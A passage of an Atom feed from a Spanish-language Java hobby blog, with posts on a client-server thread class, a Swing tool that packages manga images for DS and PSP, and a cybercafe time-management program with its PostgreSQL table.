Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; @Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void run(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String datos="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (tipo == 1) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; c.InsertarUsuario(consulta,basedatos);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dos.writeBoolean(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (tipo == 2) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; datos=c.ConsultarDatos(consulta,basedatos);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dos.writeUTF(datos);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Thread.sleep(4000);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(basedatos==1){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.swbd1=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(basedatos==2){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.swbd2=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Se termino la transaccion, Cliente Desconectado");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (IOException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (InterruptedException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Los proyectos &amp;nbsp;esta vez se desarrollaron en Netbeans, el cliente posee un formulario y un hilo, el formulario no se publica ya que Netbeans genera mucho&amp;nbsp;código&amp;nbsp;que no es sustancialmente importante, por esto se omite, ya que&amp;nbsp;haría&amp;nbsp;el post muy largo y tedioso.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.megaupload.com/?d=FBB58AWG"&gt;aquí&lt;/a&gt;. Se incluyen los dos proyectos tanto el servidor como &amp;nbsp;el del cliente.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-1660835100477175169?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/1660835100477175169/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/manejo-de-clientes-en-un-servidor.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1660835100477175169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1660835100477175169'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/manejo-de-clientes-en-un-servidor.html' title='Manejo de clientes en un servidor'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-hCfFXYW9LPI/Ttq7aSNiE2I/AAAAAAAAAg4/6c3x0foD3N0/s72-c/java+zone+-+manejo+clientes.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-7887843734848551401</id><published>2011-12-01T14:28:00.001-05:00</published><updated>2011-12-01T15:30:54.199-05:00</updated><title type='text'>Comic Book 0.5</title><content type='html'>&lt;b&gt;Comic Book&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Cony esta creciendo y ahora nos da la posibidad de leer manga desde nuestra psp o computadora.&lt;br /&gt;Pruebas realizadas en submanga, animextremist y mcanime.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UUonXKhtbFw/TtfWuyumDuI/AAAAAAAAAD8/VQMM01I38Eo/s1600/Cony+0.5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="117" src="http://3.bp.blogspot.com/-UUonXKhtbFw/TtfWuyumDuI/AAAAAAAAAD8/VQMM01I38Eo/s320/Cony+0.5.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Código&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;final JComboBox cBox = new JComboBox(new ImageIcon[]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; { new ImageIcon(getClass().getResource("/otros/ds_logo.png")) ,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; new ImageIcon(getClass().getResource("/otros/psp_logo.png")) });&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;modelo = new javax.swing.table.DefaultTableModel(){&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;public Class getColumnClass(int columnIndex) {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;if (columnIndex == modelo.findColumn("En Linea")&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; || columnIndex == modelo.findColumn("Manga")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return Boolean.class;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;} else {/**/&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if (columnIndex == modelo.findColumn("Paquete")) {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return ImageIcon.class;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; } return super.getColumnClass(columnIndex);&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;}&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;tLista = new javax.swing.JTable(modelo) ;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;(tLista.getColumnModel().getColumn(modelo.findColumn("Paquete"))).setCellEditor(new DefaultCellEditor(cBox));&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;El fragmento de&amp;nbsp;código&amp;nbsp;es para hacer el desplegable de&amp;nbsp;imágenes&amp;nbsp;en la tabla. Para esto a la columna debe ser ImageIcon para&amp;nbsp;mostrar&amp;nbsp;la imagen y el desplegable se agrega con el&amp;nbsp;método&amp;nbsp;setCellEditor(Component);&lt;br /&gt;&lt;br /&gt;Controles:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;En la columna "Paquete" se define el formato del paquete; DS es para cbds y PSP es para cbz.&lt;/li&gt;&lt;li&gt;El progreso se es mas notorio, puesto que se visualizar el numero de la pag en la cual se esta.&lt;/li&gt;&lt;li&gt;La seña&amp;nbsp;característica&amp;nbsp;"[%i]" al precionar a otro lado, quitarle el foco a la celda, buscara su posicion.&amp;nbsp;En caso de no poder hacerse automatico se puede seleccionar manualmente y precionar "Enter".&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Descarga&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Pueden descargarlo&amp;nbsp;&lt;a href="http://www.megaupload.com/?d=BCEF6ZWM"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-7887843734848551401?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/7887843734848551401/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/comic-book-05.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7887843734848551401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7887843734848551401'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/comic-book-05.html' title='Comic Book 0.5'/><author><name>Archer</name><uri>http://www.blogger.com/profile/07064707018807365677</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-M2dNsafo5Co/TXqizYcRd9I/AAAAAAAAABQ/JliOX5zo6Ew/s220/archer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-UUonXKhtbFw/TtfWuyumDuI/AAAAAAAAAD8/VQMM01I38Eo/s72-c/Cony+0.5.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-2338304246200563314</id><published>2011-11-18T23:47:00.000-05:00</published><updated>2012-01-29T21:59:35.170-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cybercafe'/><category scheme='http://www.blogger.com/atom/ns#' term='java zone'/><category scheme='http://www.blogger.com/atom/ns#' term='administrador ciber local'/><category scheme='http://www.blogger.com/atom/ns#' term='cibergest'/><category scheme='http://www.blogger.com/atom/ns#' term='ciber local'/><title type='text'>Java Zone CyberCafe Administrator</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Java Zone CyberCafe Administrator&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hace un tiempo alguien quien conozco me&amp;nbsp;sugirió&amp;nbsp;desarrollar una herramienta para el manejo de tiempo de un local que vende tiempo en&amp;nbsp;Internet, conocidos&amp;nbsp;acá&amp;nbsp;en&amp;nbsp;Colombia&amp;nbsp;como ciberlocales o&amp;nbsp;café&amp;nbsp;Internet, con el fin de reemplazar el programa que se usa actualmente, CiberGest, que me comentaba&amp;nbsp;había&amp;nbsp;tenido varios inconvenientes ya que colocaba lento el pc.&lt;/div&gt;&lt;br /&gt;Bueno, hace unos pocos dias decidi que era el momento y desarrolle este proyecto para el uso de cualquier persona o local.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Wuk_zsp30OI/Tsc3ycvD8yI/AAAAAAAAAgw/6FB1vL92-R0/s1600/server1+java+zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://3.bp.blogspot.com/-Wuk_zsp30OI/Tsc3ycvD8yI/AAAAAAAAAgw/6FB1vL92-R0/s400/server1+java+zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Procedimiento&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Primero se ejecuta el servidor en la maquina que esta dispuesta para el manejo del local, luego se ejecuta el cliente en cada computador del local, en mi caso particular el local tiene solo seis computadores, y eso es todo.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Ahora en el servidor se debe registrar el usuario y ademas este es el que administra el tiempo del usuario, su tiempo guardado, etc.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Es posible que hagamos otra&amp;nbsp;versión&amp;nbsp;de este proyecto, cosas para mejorar:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Para uso ilimitado de computadores, que se agregue pcs dinamicamente al servidor.&lt;/li&gt;&lt;li&gt;Interfaz&amp;nbsp;gráfica&amp;nbsp;mas amigable&lt;/li&gt;&lt;li&gt;Bloquear algunas funciones del sistema operativo que eviten que el usuario tenga&amp;nbsp;acceso&amp;nbsp;de otra forma a los recursos del computador.&lt;/li&gt;&lt;li&gt;Que el usuario pueda pedir tiempo al servidor desde la misma&amp;nbsp;aplicación&amp;nbsp;cliente.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Tabla en Postgres SQL&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CREATE TABLE usuario&lt;/b&gt;&lt;br /&gt;&lt;b&gt;(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; codusuario character varying,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; usu character varying,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; clave character varying,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; tiempo character varying,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; estado boolean&lt;/b&gt;&lt;br /&gt;&lt;b&gt;)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/0IEKMYVJ/JavaZoneCiber.rar"&gt;aquí&lt;/a&gt;, se incluyen fuentes,&amp;nbsp;imágenes, y los dos ejecutables tanto del servidor como del cliente.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-2338304246200563314?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/2338304246200563314/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/java-zone-cybercafe-administrator.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/2338304246200563314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/2338304246200563314'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/java-zone-cybercafe-administrator.html' title='Java Zone CyberCafe Administrator'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-Wuk_zsp30OI/Tsc3ycvD8yI/AAAAAAAAAgw/6FB1vL92-R0/s72-c/server1+java+zone.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-6931596244714273283</id><published>2011-11-18T17:00:00.001-05:00</published><updated>2011-11-18T18:19:54.611-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='Cony'/><category scheme='http://www.blogger.com/atom/ns#' term='Comic book'/><title type='text'>Comic book</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Comic Book&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En su primera&amp;nbsp;versión&amp;nbsp;para empaquetar nuestras&amp;nbsp;imágenes, y las de&amp;nbsp;Internet,&amp;nbsp;al formato de comic book para los amantes del manga y/o comic, en la consola DS.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imagen&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-x9KveOn56jw/TsbeLEbPTsI/AAAAAAAAADk/eP4pUIUL-KM/s1600/Cony+Principal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="116" src="http://4.bp.blogspot.com/-x9KveOn56jw/TsbeLEbPTsI/AAAAAAAAADk/eP4pUIUL-KM/s320/Cony+Principal.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ONvC7dcvIRg/TsbeLTQUpeI/AAAAAAAAADs/kuNPeZDlTk0/s1600/frames+Fuente.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-ONvC7dcvIRg/TsbeLTQUpeI/AAAAAAAAADs/kuNPeZDlTk0/s320/frames+Fuente.png" width="267" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;Controles:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Con teclas insert y delete se insertan y eliminan filas a la tabla, respectivamente.&lt;/li&gt;&lt;li&gt;En la cabecera de la tabla al cambiar el puntero y&amp;nbsp;presionando&amp;nbsp;dos veces se re-dimensiona&amp;nbsp;la columna.&lt;/li&gt;&lt;li&gt;Columna Estado al presionar clic dos veces si dice "Tratar"&amp;nbsp;se cambia a&amp;nbsp;"Ignorar" en otro caso se escribe "Tratar".&lt;/li&gt;&lt;li&gt;Doble&amp;nbsp;clic&amp;nbsp;a en las celdas debajo de "Origen"&amp;nbsp;aparecerá&amp;nbsp;un nuevo frame.&lt;/li&gt;&lt;li&gt;la columna Virtual&amp;nbsp;definirá&amp;nbsp;que frame&amp;nbsp;aparecerá.&lt;/li&gt;&lt;li&gt;Frame origen si es virtual el numero que se va a iterar se debe reemplazar por la señal&amp;nbsp;característica&amp;nbsp;"[%i]", lo cual se hace seleccionando el texto a remplazar o localizarse en donde debe aparecer y presionando la tecla F1.&lt;/li&gt;&lt;li&gt;Para transformar imagenes desde la web hay que escribir la URL de la imagen y no la pagina contenedora.&amp;nbsp;&lt;/li&gt;&lt;li&gt;En caso de no ser virtual la fuente solo es buscar la el directorio en nuestro equipo con las&amp;nbsp;imágenes.&amp;nbsp;Al&amp;nbsp;presionar&amp;nbsp;"Abrir" se carga la&amp;nbsp;dirección&amp;nbsp;y el nombre del directorio y con "Cancelar" se&amp;nbsp;vaciaran&amp;nbsp;los campos; en el proceso se empaquetado los archivo que no tengan&amp;nbsp;extensión&amp;nbsp;jpeg, jpg o png&amp;nbsp;serán&amp;nbsp;omitidas.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Todos mis agradecimientos a pictoDS, madre y base de Cony.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/div&gt;&lt;div&gt;El&amp;nbsp;código&amp;nbsp;es un poco largo&amp;nbsp;así&amp;nbsp;que no le anexe a la entrada, pero lo pueden descargar de&amp;nbsp;&lt;a href="http://www.megaupload.com/?d=8E6PF8O1"&gt;aquí&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-6931596244714273283?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/6931596244714273283/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/comic-book.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6931596244714273283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6931596244714273283'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/comic-book.html' title='Comic book'/><author><name>Archer</name><uri>http://www.blogger.com/profile/07064707018807365677</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-M2dNsafo5Co/TXqizYcRd9I/AAAAAAAAABQ/JliOX5zo6Ew/s220/archer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-x9KveOn56jw/TsbeLEbPTsI/AAAAAAAAADk/eP4pUIUL-KM/s72-c/Cony+Principal.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-5259255776672858349</id><published>2011-11-03T14:36:00.001-05:00</published><updated>2012-01-29T22:05:58.290-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java por consola'/><category scheme='http://www.blogger.com/atom/ns#' term='consola'/><category scheme='http://www.blogger.com/atom/ns#' term='parametros'/><title type='text'>Leer parámetros pasados por consola</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Leer parámetros pasados por consola&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: 